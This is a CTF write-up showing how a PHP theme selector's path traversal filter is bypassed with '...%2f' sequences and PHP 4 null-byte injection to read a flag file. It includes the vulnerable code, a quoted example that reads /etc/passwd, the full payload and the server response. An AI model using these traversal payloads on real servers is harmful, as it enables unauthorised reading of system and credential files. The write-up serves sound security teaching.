In this article I will show you a basic “path traversal” vulnerability I’ve found in a CTF challenge.

Description

A simple website that allows you to choose between light, dark and … nah, just these two. P.s. PHP version 4


The code


<?php

if(!isset($_GET["tema"])) $path = "light.css";  // Default
else {
    $path = $_GET["tema"];
    if (preg_match("/..\//", $path)) { 
        $path = str_replace('../', './' , $path);
        $error = false;
        $arr = explode(".", $path);
        $estensione = $arr[count($arr)-1];

        if($estensione != "css"){
            $error = true;
            $path = substr($path, 0, -3) . "css";
        }
    }
}

$css = "static/css/" . $path;

?>


<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>L/D</title>

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">

    <style>
        <?php echo file_get_contents($css); ?>
    </style>

    <!-- Bootstrap JavaScript -->
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
  </head>

  <body>
    <div class="text-center my-3">
        <h1>Selettore di tema: Light & Dark</h1>
        <p class="pt-3" style="font-size:23;">
            <i>Hai mai sognato di poter cambiare il tema con un semplice click? Finalmente puoi!</i>
        </p>
    </div>

    <div class="row mt-5 w-100">
        <div class="col-2 col-md-4"> </div>
        <div class="col text-center">
            <button class="p-2" onclick="window.location.href='index.php?tema=light.css'">Tema chiaro</button>
        </div>
        <div class="col text-center">
            <button class="p-2" onclick="window.location.href='index.php?tema=dark.css'">Tema scuro</button>
        </div>
        <div class="col-2 col-md-4"> </div>
    </div>

    <div class="error mt-5 text-center">
        <?php if($error) echo "<img src='static/img/zeb.jpg' style='width: 50vw;'/>"; ?>
    </div>

  </body>
</html>

code breakdown

this page takes a GET request with the name of the stylesheet so you can choose from dark and light mode.


if(!isset($_GET["tema"])) $path = "light.css";  // Default
else {
    $path = $_GET["tema"];
    

The Filters

here is the interesting part, we found two filters and we can assume that they prevent a Path Traversal Vulnerabilty

if (preg_match("/..\//", $path)) { 
        $path = str_replace('../', './' , $path); //changes ../ to ./
        $error = false;
        $arr = explode(".", $path);
        $estensione = $arr[count($arr)-1];   

        if($estensione != "css"){  //checks if the file extension is .css
            $error = true;
            $path = substr($path, 0, -3) . "css";
        }
    }
    

Let’s Hack!

Hacking the filters

so now we need to find somewhere a flag.txt file… let’s try to find a wokaround to The Filters

First Filter - the regex

The regex in the if statment detects every .., /, \ and ../ characters, then it replace every ../ with ./.

We need to encode our payload to fool the parser, we can try with %2f, the url uncoded version of /.

For the “..” part we need to be more creative…

yeah that’s it! Wait you didn’t get it? it’s literally ... :0


Let’s try if it works! I’ll run a local test with some php echo();


    $path = $_GET["tema"];
    echo('payload:  '.$path);


    if (preg_match("/..\//", $path)) { 
            $path = str_replace('../', './' , $path); //changes ../ to ./
            $error = false;

            echo("after regex:  " . $path);

            $arr = explode(".", $path);
            $estensione = $arr[count($arr)-1];   

            if($estensione != "css"){  //checks if the file extension is .css
                $error = true;
                $path = substr($path, 0, -3) . "css";
            }
        }

/*

    Input:
        ...%2f...%2fflag
    Output:
        payload: .../.../flag
        after regex:   ../../flag
*/

it works!

Second Filter

Ok so, now we have to change our file extension to .css if we want to pass this filter… or we have to?

We get a little hint in the description: P.s. PHP version 4… PHP 4 has a huge hole in it, the Null Byte Injection

Here’s an example:


<?php
    $file = $_GET['file']; // "../../etc/passwd%00"
    if (file_exists('/home/wwwrun/'.$file.'.php')) {
        // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
        include '/home/wwwrun/'.$file.'.php';
        // the file /etc/passwd will be included
    }
?>

You can find this example and why it works here

Now Let’s try a payload in our local test environment:


    $path = $_GET["tema"];
    echo('payload:  '.$path);

    if (preg_match("/..\//", $path)) { 
        $path = str_replace('../', './' , $path);
        $error = false;
        
        echo("after regex:  " . $path);

        $arr = explode(".", $path);
        $estensione = $arr[count($arr)-1];

        if($estensione != "css"){
            $error = true;
            $path = substr($path, 0, -3) . "css";
        }
    }
}

$css = "static/css/" . $path;
echo('final path:  ' . $css);

/*

    Input:
        ...%2f...%2fflag.txt%00.css
    Output:
        payload: .../.../flag
        after regex:   ../../flag
        final path:  static/css/../../flag.txt.css 
*/

Now let’s combine all and try it on the server with some random ../

payload: ...%2f...%2f...%2f...%2f...%2fflag.txt%00.css

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 1927
Content-Type: text/html
Date: Wed, 09 Mar 2022 16:46:19 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/4.4.0
Connection: close



<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>L/D</title>

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">

    <style>
        flag{l1ght_1s_f0r_n00bs_d4rk_1s_f0r_h4ck3rs}    </style>

    <!-- Bootstrap JavaScript -->
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
  </head>

  <body>
    <div class="text-center my-3">
        <h1>Selettore di tema: Light & Dark</h1>
        <p class="pt-3" style="font-size:23;">
            <i>Hai mai sognato di poter cambiare il tema con un semplice click? Finalmente puoi!</i>
        </p>
    </div>

    <div class="row mt-5 w-100">
        <div class="col-2 col-md-4"> </div>
        <div class="col text-center">
            <button class="p-2" onclick="window.location.href='index.php?tema=light.css'">Tema chiaro</button>
        </div>
        <div class="col text-center">
            <button class="p-2" onclick="window.location.href='index.php?tema=dark.css'">Tema scuro</button>
        </div>
        <div class="col-2 col-md-4"> </div>
    </div>

    <div class="error mt-5 text-center">
            </div>

  </body>
</html>

ha ha u fool! it works!